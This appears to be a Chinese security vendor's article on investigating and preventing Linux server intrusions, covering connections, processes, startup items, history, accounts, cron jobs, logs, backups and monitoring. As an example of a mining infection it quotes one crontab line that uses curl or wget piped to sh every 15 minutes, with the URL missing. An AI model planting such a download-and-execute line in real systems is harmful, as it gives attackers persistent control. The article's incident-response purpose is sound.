服务器被入侵如何排查?如何防止服务器被入侵?


遇到很多次客户服务器被入侵的情况,有些服务器被植入木马后门、有些被检查出有挖矿程序、有些发现登录密码不对,被恶意登录修改了密码,遇到了服务器被入侵的情况应第一时间联系服务商售后处理将损失降低到最低程度,让网站、游戏等业务恢复。

根据以往的处理经验,总结了一些服务器被入侵的排查方法,专门用来检查服务器第一时间的安全问题,看发生在哪里、服务器是否被黑、是否被攻击、哪些被篡改等等

 

如何排查服务器被攻击?

首先我们会对当前服务器的IP,以及IP的地址,linux服务器名称,服务器的版本是centos,还是redhat,服务器的当前时间,进行收集并记录到一个txt文档里,接下来再执行下一步,对当前服务器的异常网络连接以及异常的系统进程检查,主要是通过netstat -an以及-antp命令来检查服务器存在哪些异常的IP连接。并对连接的IP,进行归属地查询,如果是国外的IP,直接记录当前进程的PID值,并自动将PID的所有信息记录,查询PID所在的linux文件地址,紧接着检查当前占用CPU大于百分之30的进程,并检查该进程所在的文件夹。

在我们处理客户服务器被攻击的时候发现很多服务器的命令被篡改,比如正常的PS查看进程的,查询目录的 cd的命令都给篡改了,让服务器无法正常使用命令,检查服务器安全造成了困扰。对服务器的启动项进行检查,有些服务器被植入木马后门,即使重启服务器也还是被攻击,木马会自动的启动,检查linux的init.d的文件夹里是否有多余的启动文件,也可以检查时间,来判断启动项是否有问题。

再一个要检查的地方是服务器的历史命令,history很多服务器被黑都会留下痕迹,比如SSH登录服务器后,攻击者对服务器进行了操作,执行了那些恶意命令都可以通过history查询的到,有没有使用wget命令下载木马,或者执行S件。检查服务器的所有账号,以及当前使用并登录的管理员账户,tty是本地用户登录,pst是远程连接的用户登录,来排查服务器是否被黑,被攻击,也可以检查login.defs文件的uid值,判断uid的passwd来获取最近新建的管理员账户。执行cat etc/passwd命令检查是否存在异常的用户账户,包括特权账户,UID值为0.

最重要的是检查服务器的定时任务,前段时间某网站客户中了挖矿病毒,一直占用CPU,查看了定时任务发现每15分钟自动执行下载命令,crontab -l */15 * * * * (curl -fsSL ||wget -q-O- )|sh 代码如上,自动下载并执行SH木马文件。定时任务删都删不掉,最后通过检查系统文件查到了木马,并终止进程,强制删除。有些服务器被黑后,请立即检查2天里被修改的文件,可以通过find命令去检查所有的文件,看是否有木马后门文件,如果有可以确定服务器被黑了。

以上就是服务器被入侵攻击的检查办法,通过我们SINE安全给出的检查步骤,挨个去检查,就会发现出问题,最重要的是要检查日志,对这些日志要仔细的检查,哪怕一个特征都会导致服务器陷入被黑,被攻击的状态,也希望我们的分享能够帮助到更多需要帮助的人,服务器安全了,带来的也是整个互联网的安全。

 

排查的话,可以从以下几个方面入手:

1、日志

查看/var/log下的日志,如果发现有大量SSH登录失败日志,并存在root用户多次登录失败后成功登录的记录,这就符合暴力破解特征。

2、系统分析

对系统关键配置、账号、历史记录等进行排查,确认对系统的影响情况

发现/root/.bash_history内历史记录已经被清除,其他无异常。

3、进程分析

对当前活动进程、网络连接、启动项、计划任务等进行排查

4、文件系统

查看系统关键的文件是否被修改等

5、后门排查

使用RKHunter扫描系统是否存在后门漏洞

加固建议

1) 禁用不必要启动的服务与定时任务

2) 修改所有系统用户密码,并满足密码复杂度要求:8位以上,包含大小写字母+数字+特殊符号组合;

3) 如非必要禁止SSH端口对外网开放,或者修改SSH默认端口并限制允许访问IP;

 

假如有一天真的遇到攻击了,怎么办呢?再来给你们带来一个好办法:

事前检查和监控

提前检查

  1. 服务器和网站漏洞检测,对Web漏洞、弱口令、潜在的恶意行为、违法信息等进行定期扫描。
  2. 代码的定期检查,安全检查,漏洞检查。
  3. 服务器安全加固,安全基线设置,安全基线检查。
  4. 数据库执行的命令,添加字段、加索引等,必须是经过测试检查的命令,才能在正式环境运行。

数据备份

  1. 服务器数据备份,包括网站程序文件备份,数据库文件备份、配置文件备份,如有资源最好每小时备份和异地备份。
  2. 建立五重备份机制:常规备份、自动同步、LVM快照、Azure备份、S3备份。
  3. 定期检查备份文件是否可用,避免出故障后,备份数据不可用。
  4. 重要数据多重加密算法加密处理。
  5. 程序文件版本控制,测试,发布,故障回滚。

安全监控

  1. nagios监控服务器常规状态CPU负载、内存、磁盘、流量,超过阈值告警。
  2. zabbix或cacti监控服务器常规状态CPU负载、内存、磁盘、流量等状态,可以显示历史曲线,方便排查问题。
  3. 监控服务器SSH登录记录、iptables状态、进程状态,有异常记录告警。
  4. 监控网站WEB日志(包括nginx日志php日志等),可以采用EKL来收集管理,有异常日志告警。
  5. 运维人员都要接收告警邮件和短信,至少所负责的业务告警邮件和短信必须接收,运维经理接收重要业务告警邮件和短信。(除非是专职运维开发)

除服务器内部监控外,最好使用第三方监控,从外部监控业务是否正常(监控URL、端口等),比如:云锁。